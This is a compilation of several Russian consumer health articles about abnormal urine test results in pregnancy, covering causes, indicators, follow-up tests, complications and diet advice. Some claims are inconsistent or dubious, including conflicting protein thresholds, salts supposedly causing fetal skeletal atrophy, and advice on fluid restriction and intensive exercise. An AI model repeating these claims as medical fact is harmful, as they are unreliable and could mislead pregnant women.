Плохой анализ мочи при беременности

При постановке на учет каждая беременная женщина проходит медицинское обследование. Она сдает анализы, которые назначаются на разных сроках беременности и показывают результат развития плода и состояние будущей мамы.

Одним из важных лабораторных исследований в диагностике многих заболеваний является анализ мочи.

А, если он окажется плохим, то это значит, что в организме женщины есть патология и нужно принимать меры.

Какие могут быть причины и последствия?

Причин плохого анализа мочи может быть множество. Среди них:

  • заболевания органов мочеполовой системы;
  • с развитием плода увеличивается нагрузка на почки, и они не успевают расщеплять белок;
  • начинается ранний токсикоз или гестоз, который сопровождается отеками, и увеличением артериального давления;
  • нефропатия, как осложнение гестоза;
  • у женщины имеются заболевания кровеносной или нервной системы;
  • прием лекарственных препаратов, о которых не знает врач;
  • неправильный забор урины, несоблюдение правил гигиены и попадание бактерий извне.

Справка! В случае неправильного сбора материала для исследования или сомнения в достоверности результата, врач назначает повторную сдачу анализа.

Последствия плохого анализа мочи могут быть самыми непредсказуемыми. Вовремя поставленный диагноз и правильное лечение будут являться залогом рождения здорового малыша.

А игнорирование медицинских предписаний может привести к инфицированию плода, прерыванию беременности, проблемам в будущем.

Общий анализ

Для диагностики патологий при беременности общий анализ мочи назначают несколько раз на протяжении всего срока гестации.

Он позволяет наблюдать за состоянием беременной, контролировать развитие выявленных проблем, следить за результатами лечения.

Внимание! Для анализа необходима средняя порция утренней мочи в объеме 100-200 мл.

При исследовании определяются следующие показатели:

Цвет мочи. В норме он соломенно-желтый. Темная моча может говорить о проблемах с печенью или кровью. Бледная — о диабете, патологии почек.

Прозрачность. Нормальная моча прозрачная. Если наблюдается помутнение, то причины могут быть следующие:

  • присутствие эритроцитов;
  • лейкоциты;
  • наличие белка;
  • соли;
  • бактерии.

Наличие данных молекул говорит о патологии.

Плотность мочи показывает содержание растворенных в ней веществ. В норме ее показатель 1010 -1022 гл. Плотность повышается при потере жидкости в организме или ее недостаточном потреблении, токсикозе беременных, инфекционных процессах в мочеполовой системе.

Снижение плотности мочи грозит почечной недостаточностью, может быть при применении мочегонных средств, обильном питье.

Изменение показателя кислотности мочи в сторону его уменьшения или увеличения ( в норме pH 4 -7) может говорить о нарушении баланса крови, почечной недостаточности, некоторых видах инфекций, гормональных проблемах и проблемах, связанных с питанием.

Важным диагностическим тестом является наличие белка. Если он присутствует в анализе, то это может говорить о заболевании почек или об аллергии, лейкозе, эпилепсии, сердечной недостаточности. Белок, особенно в сочетании с повышенным артериальным давлением и отеками беременной, с большой вероятностью указывает на развитие гестоза.

Глюкоза в моче должна отсутствовать. Ее наличие свидетельствует о сахарном диабете или нарушении работы почек. Появление глюкозы возможно после чрезмерного употребления беременной сладких продуктов.

При нарушении обменных процессов в организме в анализе могут наблюдаться кетоновые тела. Наличие ацетона и других кислот может указывать на различную патологию.

Билирубин в моче в норме также не определяется. Его наличие говорит о проблемах с печенью.

Если в анализе обнаружен уробилиноген, то нарушено поступление желчи в кишечник.

При исследовании осадка мочи выявляют:

  • лейкоциты;
  • эритроциты;
  • цилиндры;
  • эпителий;
  • соли;
  • бактерии.

Лейкоциты в моче здоровой женщины присутствуют в очень малых количествах. При воспалительных процессах в организме их число значительно растет.

В норме эритроциты либо отсутствуют совсем, либо единичны. Их появление может говорить о развитии болезни в мочеполовой системе или об угрозе выкидыша.

У здоровой женщины в моче определяются единичные гиалиновые цилиндры. Если появились эпителиальные цилиндры, это может говорить о воспалении, восковидные цилиндры — о тяжелом поражении почечной паренхимы.

Соли в моче — также плохой показатель. Их наличие может привести к образованию камней.

  • Бактерии говорят о цистите либо почечном воспалении.
  • Как правильно сдавать общий анализ мочи беременной женщине рассказывается на видео:

Бакпосев

Обычно бакпосев проводят при постановке беременной на учет и непосредственно перед родами. Если в общем анализе мочи обнаруживается белок или повышенное количество лейкоцитов, то бакпосев назначается чаще.

Это исследование проводится с целью выявления и идентификации бактерий — возбудителей инфекций и их чувствительности к лекарственным препаратам.

С помощью данного анализа можно на ранней стадии беременности выявить воспалительные процессы в почках, и назначить нужное лечение.

  Очищение почек: очищающие средства и продукты, диета

Бакпосев может показать наличие в организме женщины:

  • гонококков,
  • стрептококков,
  • кишечной палочки,
  • трихомонад,
  • гарднерелл и других бактерий.

При выявлении бактерий, превышающих норму, говорят о положительном результате, что является плохим показателем и свидетельствует о наличии воспалительных процессов в организме женщины.

  1. Далее лаборант проводит специальное исследование — антибиотикограмму — определяет чувствительность бактерий к разным видам антибактериальных препаратов.
  2. Величиной измерения количества микроорганизмов является КОЕ/мл (колониеобразующие единицы в одном мл жидкости).
  3. Бессимптомную бактериурию выявляют примерно у 6% беременных при нормальном общем анализе мочи.

Важно! При несвоевременном лечении инфекция может привести к пиелонефриту, который в свою очередь может стать причиной внутриутробного инфицирования плода, самопроизвольного аборта или преждевременных родов.

Как правильно сдавать данный анализ, каковы показатели нормы описывается видео:

По Нечипоренко

При постановке на учет беременной назначают и анализ мочи по Нечипоренко. Это исследование также проводится, как дополнительное, если выявлены плохие показатели общего анализа мочи (обнаружен белок, эритроциты, лейкоциты и другие компоненты, которых в норме быть не должно).

Внимание! Данный анализ позволяет более точно изучить клеточный состав мочи.

Для правильного проведения исследования беременной рекомендуется:

  1. Диета. За день-два до анализа следует ограничить употребление белка, жирных и жареных блюд, газированных напитков, алкоголя, специй, соли, не употреблять продукты, окрашивающие мочу.
  2. Анализ необходимо собирать утром, перед его проведением необходимо провести тщательную гигиену половых органов.
  3. Одноразовый стерильный контейнер наполнить уриной (берется средняя порция) в объеме 100-150 мл.
  4. Сдать анализ нужно в течение одного-полутора часов после сбора.

После того, как анализ будет доставлен в лабораторию, его сразу исследуют. Лаборант определяет количество лейкоцитов, эритроцитов и цилиндров в одном миллилитре жидкости.

Анализ считается нормальным, если в 1 мл эритроцитов не более 1000, лейкоцитов — не более 2000, цилиндров — не более 20. Если показатели превышают данные значения, то это говорит о заболевании мочевыводящей системы.

Количество лейкоцитов увеличивается при хронических пиелонефрите или цистите, мочекаменной болезни.

Важно! При увеличении количества эритроцитов можно судить о нарушении фильтрующей функции почек. Это может быть в результате гломерулонефрита или некоторых ревматологических заболеваний, сопровождающихся воспалением почечной ткани.

  • Увеличение количества цилиндров в моче может быть показателем неблагоприятного течения гипертонической болезни, сопровождающейся поражением почечной ткани.
  • Что такое анализ мочи по Нечипоренко и как к нему подготовиться рассказывается на видео:

Что необходимо предпринять в первую очередь?

В первую очередь при появлении плохого анализа мочи, необходимо выяснить его причину. Возможно, анализ следует повторить, если он оказался недостоверным. Если же плохой анализ подтверждается неоднократно, то здесь необходимо пройти более детальное обследование и довериться специалистам.

Кроме того, женщине нужно:

  • контролировать АД – записывать показатели в обменную карту и наблюдать динамику;
  • ограничить потребление жидкостей и соленой пищи;
  • исключить из рациона жареные блюда;
  • больше гулять на свежем воздухе;

Важно! Не пускать ситуацию на самотек. Чем быстрее выявлена причина плохого анализа мочи, тем успешнее будет лечение.

Светлая моча при беременности — хорошо или плохо?

У беременных в нормальном состоянии моча может быть разной по окрасу — от очень бледного соломенного до насыщенного и яркого.

Она зависит от:

  • времени суток;
  • физической активности;
  • общего состояния здоровья;
  • пищи, которая принималась;
  • медикаментов;
  • объема потребляемой воды;
  • показателей температуры и влажности воздуха.

Но, когда концентрация мочи очень низкая, она бывает очень светлой. Иногда это свидетельствует о сахарном диабете. Диабет может быть и гестационным, который развивается во время вынашивания плода. В этом случае женщина ощущает сухость во рту, много и часто пьет, у нее частые позывы в туалет и обильное мочеиспускание.

  1. Светлая моча также может наблюдаться при хронической почечной недостаточности, влияющей на концентрационную функцию почек.
  2. Снижению концентрации мочи будет способствовать и мочегонные средства и чаи, которые доктор прописывает пациентке для снятия отеков.
  3. В этом случае слишком светлый оттенок мочи не должен вызывать беспокойства, ведь организм просто избавляется от лишней жидкости, поэтому моча становится не слишком концентрированной.

  • С наступлением беременности органы и системы женщины перестраиваются и начинают работать в другом режиме.
  • Чтобы не пропустить развитие болезни, следует обязательно обращать внимание на любые происходящие изменения в организме и сообщать о них врачу.
  • Ведь благополучные роды и здоровье малыша напрямую зависит от здоровья его матери.

Источник: https://pochkmed.com/diagnostika/plohoj-analiz-mochi-pri-beremennosti.html

Плохой анализ мочи при беременности: причины, чем грозит ребенку, как лечат

Исследование урины — простой, но информативный способ оценки состояния мочеполовой системы и функции почек. Плохой анализ мочи при беременности указывает на то, что организм женщины не справляется с нагрузкой вынашивания ребенка.

Основные причины отклонений показателей.

  1. Несоблюдение правил сдачи. Острые, жареные, копченые или красящие продукты могут исказить результат, поэтому их исключают за несколько дней до сбора мочи. С аналогичной ответственностью при подготовке нужно относиться к гигиене половых органов и стерильной обработке емкости для биоматериала. На анализ принимают утренний сбор мочи, причем только среднюю порцию. Важно заранее сообщить доктору о приеме медикаментов. Если неправильно сдали — повторите процедуру.
  2. Многоплодная беременность или крупный ребенок вызывают нарушение работы органа фильтрации и плохие результаты анализов.
  3. Увеличение размеров матки провоцирует повышенное давление на нижнюю полую вену и ребенок давит на почки.
  4. Нефропатия — опасная патология, при которой возникает артериальная гипертензия. Как следствие отмечается плацентарная дисфункция после 30 недели гестации.
  5. Сильный токсикоз первого триместра или гестоз на поздних сроках сопровождаются отечностью, повышенным АД, увеличением количества белка в моче и цилиндра в анализе.
  6. Воспалительный процесс в почках или органах выделительной системы, возникший у беременной, отражается на характеристиках урины, может повышаться давление.
  7. Наличие в анамнезе патологий выводящих путей.
  8. Отрицательные анализы могут наблюдаться вследствие бессолевой диеты для снятия отеков.

Важен цвет и запах мочи

Оценка отклонений показателей от нормы позволит врачу отправить пациентку на дополнительное обследование и разобраться почему произошло уменьшение или увеличение тех или иных тел. Это поможет установить точный диагноз, улучшить лечение и предотвратить осложнения.

Что значит плохой анализ

Клиническое (или общее) исследование урины относится к базовым в период гестации. Его нужно делать при каждой консультации у гинеколога. Женщины сдают анализ урины раз в месяц.

При оценке биоматериала учитывают не только присутствие белка, лейкоцитов, бактерий и других веществ, но также его внешние параметры.

Признаки плохих анализов в таблице:

Характеристика мочи Возможные причины из-за чего случаются отклонения от нормы
Цвет темно-желтый цвет урины — дегидратация (обезвоживание) организма;

  • мутный (белесый) — гнойный воспалительный очаг в мочевыводящих путях;
  • коричневатый (или пивной) — увеличенная матка давит на желчный пузырь и его протоки, возможно развитие гепатита или механической желтухи;
  • красно-бурый цвет мочи — кровяные примеси присутствуют обычно при поражении почек или выделительной системы (туберкулез или инфаркт органа фильтрации);
  • зеленоватый — нарушение работы печени;
  • светлый — хороший цвет.
Прозрачность Полное или частичное помутнение мочи свидетельствует о наличии нежелательных фрагментов (эпителиальные клетки, лейкоциты, эритроциты, белок, гной и т. д.).

  1. Основные факторы плохой мочи:
  2. несоблюдение правил сбора материала, например, отсутствие стерильности емкости;
  3. инфицирование половой системы;
  4. токсикоз с последующей дегидратацией и нарушением кислотно-щелочного баланса.
Плотность Отклонение в любую сторону (низкая или высокая) при анализе – признак:

  • дегидратации;
  • гормонального сдвига;
  • дисфункции почек
Белок Допустимое количество при гестации колеблется около 0,33 г/л. Значения выше могут указывать на развитие:

  1. пиелонефрита;
  2. нефропатии;
  3. гестоза;
  4. обострения хронических патологий.
Эритроциты Речь о попадании капелек крови в мочу, что грозит:

  • развитием артериальной гипертензии;
  • лихорадкой;
  • снижением гемоглобина.
  • Возможные причины пониженных эритроцитов при анализе:
  • патологии мочеполовой системы;
  • гормональный дисбаланс;
  • венерические инфекции.
Лейкоциты У беременных допускается присутствие в моче до 6 единиц. Если значение выше, например, 10–15 ед., развивается воспалительный процесс.
Кетоновые тела ранний токсикоз;обострение сахарного диабета.
Бактерии цистит;вирусные последствия;инфицирование или воспаление почек, мочевого пузыря или выделительной системы.
Глюкоза Развитие гестационного диабета
Соли дегидратация;неправильное питание.
Кислотность Повышенные значения говорят о патологиях эндокринной системы или дефиците калия.

При плохих показателях общего лабораторного исследования для подтверждения диагноза назначают анализ мочи по Нечипоренко на бактериальный посев. Он выявляет даже латентные патологии.

Как лечат при плохом анализе мочи

Исследование урины определяет заболевания при вынашивании ребенка. Поэтому анализ требует от женщины строгого соблюдения правил сбора материала.

Лечение и профилактика необходимы при подозрении на диагноз:

  1. Врач назначает беременным повторную сдачу анализа, предупредив об ответственности за подготовку к исследованию.
  2. Если показатели остаются неудовлетворительными, беременной дают направление на расширенную диагностику, могут положить в больницу, так как это станет показанием к госпитализации. Проводят анализ Нечипоренко, который более информативен.
  3. Для подтверждения подозрений проводится лабораторная оценка мочи по Зимницкому, предполагающая сдачу суточного сбора.
  4. Пациентка получает рекомендацию постоянно контролировать артериальное давление с ежедневными пометками в графике для предотвращения развития гестоза. Патология часто проявляется на 37–39 неделе беременности, вызывая гипоксию у плода в 3 триместре.
  5. Ограничение приема соли и жидкости не более 1,5 литра, включая любые субстанции (суп, чай, вода, сок), чтобы снять или предотвратить отечность. Не следует много пить молоко.
  6. Отказаться от жареного, острого, копченого. Предпочтительно употребление парной, тушеной, отварной или запеченной пищи.
  7. Введение интенсивной физической нагрузки, например, гимнастики для беременных.
  8. Ежедневные прогулки на свежем воздухе.
  9. При диагностировании воспалительного процесса врач может дать попить антибиотики и назначит прохождение антибактериотерапии.
  10. В случае серьезных осложнений беременную госпитализируют.

Вам пропишут диету

Запрещается заниматься самолечением в период вынашивания малыша, особенно это касается препаратов. Даже народные средства на травах можно принимать только с разрешения врача.

Чем опасен плохой анализ

При отсутствии лечения нехорошие результаты грозят тяжелыми последствиями для матери и негативными влияния на плод. Поэтому в период вынашивания ребенка важно постоянно контролировать показатели мочи.

В чем бывает опасность анализов с отклонениями:

  1. Наличие повышенных лейкоцитов в моче может быть признаком пиелонефрита, вследствие которого развивается гипоксия (кислородное голодание) или инфицирование малыша в утробе. Последствия непредсказуемые, вплоть до умственной отсталости у ребенка после рождения. Часто патология приводит к самопроизвольному аборту и утрате возможности вынашивания в будущем.
  2. Высокий белок в моче нередко – причина преждевременных родов, спонтанных кровотечений или преэклампсии, что может привести к гибели плода и матери.
  3. Повышенный сахар в урине на ранних сроках беременности – одно из самых тяжелых осложнений. Может плохо отходить моча. Вследствие этого развивается гестационный диабет у матери и зародыша с риском инсулиновой зависимости у ребенка в дальнейшем. Часто отмечается диабетическая фетопатия, при которой масса тела плода доходит до 6 кг. Большой вес – причина травмирования малыша и серьезных повреждений у женщины во время родов. В таких случаях может неприятно пахнуть моча.
  4. Присутствие соли в моче может привести к остеопорозу или атрофии костного скелета ребенка.

Полагайтесь на мнения врачей

Прерывание беременности

  1. Анализ мочи с отклонениями говорит о нарушении работы почек, которые ответственны за фильтрацию крови и образование урины.

  2. Любые формы нефрита, то есть почечной недостаточности, могут стать причиной отслойки плаценты, антенатальной гибели плода и самопроизвольного прерывания беременности.

  3. Важно сдавать клинический анализ при каждом посещении гинеколога, чтобы врач смог оценить состояние мочеполовой системы.

Сдавайте анализы хотя бы каждый триместр

Отзывы

Многие женщины сталкиваются с проблемами при вынашивании. Важно следовать тактике ведения беременности, выбранной врачом. Это подтверждают комментарии женщин на форумах.

Кира Лозенцова:

У меня в каждом триместре хоть один раз, но была плохая моча. Поначалу испугалась, но оказалось, что матка перекрывает протоки уретры, вызывая застой. Пропила курс канефрона, травяные сборы каждый день, ходила на гимнастику. После 28 недели даже положили в стационар. Все закончилось хорошо, при таких анализах ребенок родился здоровый.

Елена Блинова:

У меня с детства диагноз хронический пиелонефрит. Врачи в поликлинике постоянно говорили, куда тебе рожать, если через раз плохая моча. Ничего, уже двух лялек родила. Главное, чтобы беременность вел грамотный гинеколог, который даст нужные рекомендации по питанию даже при плохих анализах.

  • Можно ли делать клизму при беременности
  • Можно ли делать МРТ при беременности
  • Можно ли томатный сок при беременности
  • Можно ли пить мяту при беременности
  • Как принимать витамин Е при беременности
  • Как поднять гемоглобин при беременности

Информация, опубликованная на сайте Sberemennost.ru только для чтения и предназначена лишь для ознакомления. Посетители сайта не должны использовать их в качестве медицинских рекомендаций!

Источник: https://sberemennost.ru/pregnancy/health/plohoj-analiz-mochi

Плохой анализ мочи при беременности: причины отклонений

Появление плохой мочи у беременной сигнализирует о наличии заболеваний. При выявлении плохого анализа мочи врач назначает дополнительное обследование для определения причины нарушений. Плохие показатели мочи у беременной появляются также при заболеваниях печени, эндокринной системы.

Что значит плохой анализ мочи

Понятие “плохой анализ мочи при беременности” довольно растяжимое. Сюда входят все отклонения от нормы, выявленные при исследовании мочи. Патологическими изменениями являются:

  • увеличение или уменьшение количества мочи;
  • помутнение мочи;
  • изменение ее цвета;
  • появление осадка, хлопьев в моче;
  • изменение плотности мочи;
  • появление веществ, которые должны отсутствовать — белок, цилиндры, билирубин, бактерии.

О плохой моче у беременной говорят при повышении уровня тех
компонентов, которые обнаруживаются у здорового человека. К ним относят
эпителий, сахар, лейкоциты и эритроциты.

Причины плохих
анализов мочи

Плохая моча при беременности сигнализирует о развитии заболеваний почек, мочевого пузыря или уретры, а также других органов, участвующих в образовании мочи. Вот почему важно регулярно проходить обследование — чтобы вовремя заметить нарушения, предпринять меры по диагностике и лечению.

Изменения в моче не всегда связаны с заболеванием. Изменение таких показателей, как цвет, плотность, прозрачность биологической жидкости появляются вследствие особенностей питания беременной. Например, красный цвет урине придает свекла, а оранжевый — морковь. Мутность жидкости иногда связана с неправильным сбором — если женщина не подмылась перед тем, как помочиться.

Воспалительные
заболевания

Плохой анализ мочи наблюдается при воспалительных
заболеваниях. Чаще это воспаление уретры, реже — почек и мочевого пузыря.
Воспаление связано с проникновением в мочеполовую систему бактерий или
патогенных грибков.

Гестационный
диабет

Причиной отклонений в анализе мочи при беременности является гестационный сахарный диабет. Это диабет, который впервые обнаруживается у женщины во время беременности. Он склонен к тяжелому течению, а после родов исчезает самостоятельно.

Преэклампсия

При беременности плохая моча свидетельствует о развитии
преэклампсии. Это тяжелая стадия гестоза беременных, без лечения приводящая к
развитию эклампсии. Последняя опасна гибелью матери от внутреннего
кровотечения.

Другие
патологии

При беременности анализ мочи с отклонениями также говорит о следующих патологиях:

  • мочекаменная
    болезнь;
  • гепатит;
  • анемия;
  • паразитарные
    заболевания;
  • геморрагическая
    лихорадка;
  • почечная
    недостаточность;
  • обширные
    травмы;
  • тиреотоксикоз;
  • заболевания
    надпочечников.

Причин плохих анализов мочи при беременности много, врач
назначает дополнительное обследование, чтобы точно установить диагноз.

Возможные осложнения при обнаружении плохого анализа мочи

Игнорирование отклонений в анализе мочи при беременности приводит к прогрессированию развившихся заболеваний, возникновению осложнений. Наиболее опасные, которые могут навредить плоду:

  • почечная
    или печеночная недостаточность;
  • эклампсия;
  • воспаление
    матки.

Женщина тоже может пострадать из-за таких осложнений.

Основные показатели в анализе мочи

Стандартное обследование — это общеклинический анализ мочи при беременности. Он включает несколько показателей, на которые врач обращает свое внимание.

Протеинурия

Это превышение содержания белка в моче. У здоровой женщины моча содержит лишь следы белка. Появление белка говорит о развитии гломерулонефрита, гестоза, преэклампсии, почечной недостаточности.

Физиологическая протеинурия появляется, если беременная
употребляла много белковой пищи, а также на фоне эмоциональных переживаний. Для
исключения патологии нужно повторить исследование через 2-3 дня, соблюдая
диету.

Лейкоцитурия

Это повышение количества лейкоцитов в моче. Допускается их содержание не более 5 в поле зрения. Если их больше — это признак воспалительного процесса. Лейкоцитурия наблюдается при пиелонефрите, цистите, уретрите. Такие анализы мочи плохие при беременности, они требуют назначения бактериологического исследования.

Незначительная лейкоцитурия возможна при неправильном сборе биоматериала, если женщина не подмывалась либо использовала нестерильную емкость. Для исключения патологии анализ мочи пересдают через 2-3 дня с соблюдением правил гигиены.

Гематурия

Это значит, что в моче появились эритроциты крови. В норме их не должно быть больше 2. Кровь появляется при гломерулонефрите, опухолях или полипах мочевого пузыря, уретры. Реже появление крови связано с выделениями из половых путей — неблагоприятный для вынашивания плода признак.

Глюкозурия

Это выявление сахара в моче. В норме глюкоза обнаруживаться не должна, в третьем триместре беременности она допускается следовыми количествами. Превышение уровня глюкозы в моче говорит о развитии гестационного диабета.

Билирубин в моче

У здорового человека билирубин в моче не обнаруживается, урина должна быть светлой. Появление билирубина связано с воспалением печени или скоплением желчи при желчекаменной болезни. Светлая моча при накоплении билирубина становится темно-коричневой.

Соли и слизь в моче

Хорошая моча содержит много солей, но они находятся в растворенной форме, поэтому жидкость прозрачна. Осадок солей и слизи говорит об изменении кислотно-щелочного баланса. Наблюдается при лихорадке, почечной недостаточности, пиелонефрите, отравлении.

Что делать при выявлении отклонений? Сначала нужно исключить все нарушения в сборе мочи, физиологические причины, которые могли повлиять на анализ мочи.

Если повторное исследование тоже будет сопровождаться отклонениями, врач предложит госпитализацию для диагностики и лечения.

Источник: https://ruanaliz.ru/mocha/plohoj-analiz-mochi-pri-beremennosti-prichiny-otklonenij/

Плохой анализ мочи при беременности — расшифровка показателей. Чем грозит плохой анализ мочи при беременности?

При исследовании биоматериала, лаборант обращает внимание на цвет мочи, прозрачность, количество эритроцитов и лейкоцитов, а также на наличие белка и или цилиндров.

Неправильный сбор мочи может привести к плохому анализу. В остальных случаях отклонение показателей от нормы говорит о том, что в организме происходит воспалительный процесс или присутствует инфекция. Также нарушение работы почек может исказить результаты исследования. В такой ситуации врач должен назначить препараты, поддерживающие нормальную работу органа.

Плохая моча при беременности не всегда свидетельствует о воспалительном процессе или наличии инфекции. Организм женщины в положении вынужден работать в режиме двойной нагрузки. Почки будущей мамы работают за двоих – за женщину и ребенка в утробе.

Почки будущей мамы работают за двоих – за женщину и ребенка в утробе

  • Первый анализ мочи будущая мама сдает при постановке на учет в женскую консультацию в первом триместре. Это нужно для того, чтобы врач смог оценить общее состояние здоровья беременной и работу выделительной системы в частности. До наступления второй трети беременности анализ делают раз в месяц.
  • Во втором триместре исследование мочи делают каждые две-три недели. Такая мера необходима для своевременного обнаружения патологических процессов.
  • В последней трети беременности женщине придется посещать поликлинику для сдачи урины еженедельно. Чем ближе дата родов, тем больше масса плода и, следовательно, нагрузка на почки будущей мамы.

Чем грозит плохой анализ мочи при беременности? Как быть, если при очередном исследовании были обнаружены отклонения показателей от нормы? Какие последствия могут быть для матери и ее ребенка?

Плохой анализ мочи при беременности – причины

Негативные результаты исследований могут быть спровоцированы такими причинами, как:

  • Токсикоз в первом триместре.
  • Увеличение матки и, как следствие, давления на полую вену.
  • Возросшая нагрузка на выделительную систему. О сбое работы почек говорит наличие белка в урине.
  • Бессолевая диета беременных, которую врачи назначают для профилактики появления отеков.
  • Стресс, невротические расстройства, патологии сосудистой системы.
  • Повышение артериального давления при нефропатии. Это состояние возникает в результате нарушения функционирования плаценты, чаще всего диагностируется на 30-33 неделях.

Высокое содержание белка и цилиндров говорит о гестозе беременных – опасное состояние, которое характеризуется отеками и значительным повышением давления.

Негативные результаты исследований могут быть спровоцированы такими причинами, как бессолевая диета беременных

Случается и так, что женщина неправильно собрала урину, что спровоцировало искажение результатов. В целях исключения такой вероятности обычно доктор назначает повторную сдачу биоматериала для исследования.

Основные показатели

Какими должны быть белок и лейкоциты в моче при беременности? Что значат основные показатели? Расшифровка этих данных позволит трезво оценить ситуацию и не паниковать раньше времени.

Лейкоцитурия

Повышенное количество лейкоцитов является важным показателем, указывающим на воспалительный процесс в мочеполовой системе. Ежедневно вес ребенка возрастает, увеличивая давление на внутренние органы матери.

Это провоцирует нарушение нормального оттока урины, что чревато ее застоем и размножением патогенных бактерий. Превышение нормального показателя количества лейкоцитов (1-5 ед. в поле зрения) является показанием к проведению более масштабных обследований.

При необходимости врач может назначить антимикробные препараты.

Лейкоциты в моче

Повышенные лейкоциты несут угрозу здоровью не только будущей мамы, но и младенца. Для выявления патологических процессов женщина должна сдать бактериологический анализ мочи и бакпосев на наличие питательной среды для микробов. Это поможет определить и назначить адекватную терапию для подавления очага инфекции.

Протеинурия

Этим термином называется наличие белка в моче. Данный показатель является одним из важнейших при беременности.

В норме белок должен полностью отсутствовать в урине, но во время беременности допускается небольшое его содержание, до 0.033 гр/л. Это объясняется возросшей нагрузкой на почки, которые вынуждены работать сразу за двоих.

Если же количество белка значительно превысило допустимое в любом триместре, это может указывать на ряд патологических процессов.

Прежде всего врач должен исключить состояние преэклампсии, которая характеризуется значительным повышением артериального давления и превышением нормального количества белка.

Выявление протеинурии в моче

Преэкламспия – опасная патология, чаще всего диагностируется во втором триместре. Для своевременного выявления состояния и предотвращения его развития будущая мама вынуждена сдавать мочу дважды в месяц, начиная с 12 недели беременности.

Необнаруженная преэклампсия грозит судорогами и кровоизлиянием в головной мозг из-за высокого давления.

Такой процесс нарушает функционирование плаценты, что может привести к различным неприятным последствиям, вплоть до гибели плода от гипоксии.

Гестоз

Гестоз диагностируется при наличии в моче белка и геалиновых цилиндров. Нормальное количество цилиндров — 1-2 в поле зрения. При гестозе это число резко возрастает.

Гестозу сопутствуют такие симптомы, как повышенное артериальное давление, появление отечности. Отсутствие своевременной терапии влечет за собой отек мозга и гибель женщины вместе с плодом.

Превышение нормального количества белка в моче у беременных является опасным симптомом

Превышение нормального количества белка в моче у беременных является опасным симптомом, который требует немедленного вмешательства квалифицированного специалиста.

Билирубин

Билирубином называется желчный пигмент, который в норме отсутствует в урине. Появление этого элемента в моче может указывать на желтуху или гепатит. Но бывает и так, что билирубин появляется из-за увеличенного давления матки на желчный пузырь на последних сроках беременности. В любом случае, этот показатель следует держать под контролем, регулярно сдавая биоматериал для исследования.

Глюкозурия

Так называется появление глюкозы в моче, которая в норме должна отсутствовать. Хотя сахар и может появиться в урине при беременности, необходимо внимательно отнестись к своему здоровью и убедиться в том, что сахарный диабет отсутствует. Если количество глюкозы при повторном исследовании такое же или выше, чем в предыдущем, врач назначит сдачу суточного анализа мочи на глюкозу.

В идеале глюкозы в урине нет, но во втором и третьем триместре у беременной врач может выявить наличие сахара

Гематурия

Наличие эритроцитов в урине может свидетельствовать о том, что в организме будущей мамы протекают какие-либо заболевания. У здорового человека эритроциты в моче отсутствуют. Если они были обнаружены у беременной, необходимо выяснить, какие причины стали провокатором выявленных показателей.

Эритроциты могут появиться из-за таких явлений, как:

  • Воспалительный процесс в мочеполовой системе.
  • Обострения мочекаменной болезни. В этом случае песок и камни травмируют слизистый покров стенок мочевыделительной системы, что провоцирует попадание крови в мочу и, следовательно, появление эритроцитов в анализе.
  • Нарушение техники сбора биоматериала, при котором в емкость могут попасть кровянистые выделения из влагалища, которые иногда являются нормой при беременности.

Наличие эритроцитов в урине может свидетельствовать об обострении мочекаменной болезни

Гематурия беременной женщины может указывать на ряд заболеваний. Для уточнения содержания элементов крови в урине врач назначает сдачу анализов по системе Нечипоренко.

Соли и слизь

Если в моче содержатся соли разных видов, это может говорить о нарушении процессов обмена веществ, которое является неизбежным спутником беременной женщины.

Превышение нормального количества соли может свидетельствовать и о неправильном рационе будущей мамы, который необходимо привести в норму.

Соли в урине могут спровоцировать образование камней и песка, что приведет к приступам почечной колики.

Наличие слизи в моче может указывать на воспалительные процессы, протекающие на слизистых оболочках мочеполовой системы. Также слизь может появиться из-за нарушения правил интимной гигиены во время сбора урины для анализа. По этой причине перед тем, как собирать мочу для анализа, сперва следует провести тщательную гигиену половых органов.

Общий анализ мочи при беременности – это важный и информативный вид диагностики для оценки состояния женщины, который помогает врачу определить наличие той или иной патологии и причины, спровоцировавшие ее. Регулярная и своевременная сдача биоматериала для исследования поможет контролировать нормальное течение беременности, выявляя опасные патологии на самых ранних стадиях возникновения.

Терапия по результатам анализов

В том случае, когда какие-либо из показателей значительно превышают норму при сдаче мочи, необходимо немедленно обратиться за помощью к своему лечащему врачу, а не самостоятельно искать ответ на вопрос «при беременности плохая моча что делать».

К сожалению, будущие мамы нередко пренебрегают результатами такого, казалось бы, простого и информативного обследования. На деле же такое назначение, как общий анализ мочи, помогает врачу выявить множество патологий на ранних стадиях, что существенно облегчает и ускоряет процесс выздоровления.

Общий анализ мочи, помогает врачу выявить множество патологий на ранних стадиях

Иногда женщины думают, что повышенные показатели являются следствием недостаточной обработки емкости для анализов. Хорошо, если это так.

Однако в большинстве случаев обращение к врачу является необходимой мерой для исключения опасных состояний.

Бывает и так, что врач назначает госпитализацию, основываясь на одном только анализе мочи, поэтому не следует пренебрегать этим исследованием, особенно находясь в положении.

Чаще всего профилактические и лечебные меры при плохих анализах заключаются в следующих рекомендациях:

  • Повторный сбор мочи с соблюдением правил стерилизации тары и интимной гигиены.
  • Исследование урины по системе Нечипоренко, которое помогает уточнить содержание лейкоцитов, эритроцитов и других показателей.
  • Контроль за артериальным давлением. Повышенное давление вкупе с отеками и плохими результатами анализов является признаком гестоза.
  • Ограничение потребляемой жидкости и соли для профилактики отеков. Максимально разрешенное количество жидкости – полтора литра в сутки.
  • Исключение жареных блюд. Альтернативой должны стать тушеные и приготовленные на пару продукты.
  • Прием назначенных врачом препаратов.

При необходимости врач отправит беременную в стационар, где будущая мама будет круглосуточно находиться под наблюдением квалифицированных специалистов.

Для чего назначается ОАМ при беременности

Моча на 95% состоит из воды, которая омывает все органы, выводя из них отходы жизнедеятельности.Со второй половины беременности некоторые показатели могут выходить за пределы нормы.

ОАМ дает представление о содержании в организме различных компонентов.Именно уровень их содержания в организме дает представление о текущих патологических процессах.

  • Глюкоза — превышение сахара свидетельствует о риске развития сахарного диабета или сильном раннем токсикозе. Во втором триместре беременности у женщин может наблюдаться незначительное повышение сахара. Это является нормой. Однако может потребоваться коррекция режима и рациона питания. Также глюкоза может быть повышенной, если накануне была получено много углеводов или беременная перенесла сильный стресс.
  • Белок — в норме должен отсутствовать. Его наличие говорит о патологии почечной функции. В то же время белок в моче отмечается при употреблении белковой пищи накануне, при неправильном сборе материала и при несоблюдении правил гигиены. Во втором триместре беременности белок может быть повышен из-за возросшей нагрузки на почки.
  • Билирубин — появляется только при механической желтухе, желчнокаменной болезни и гепатите, моча при этом становится цвета темного пива.
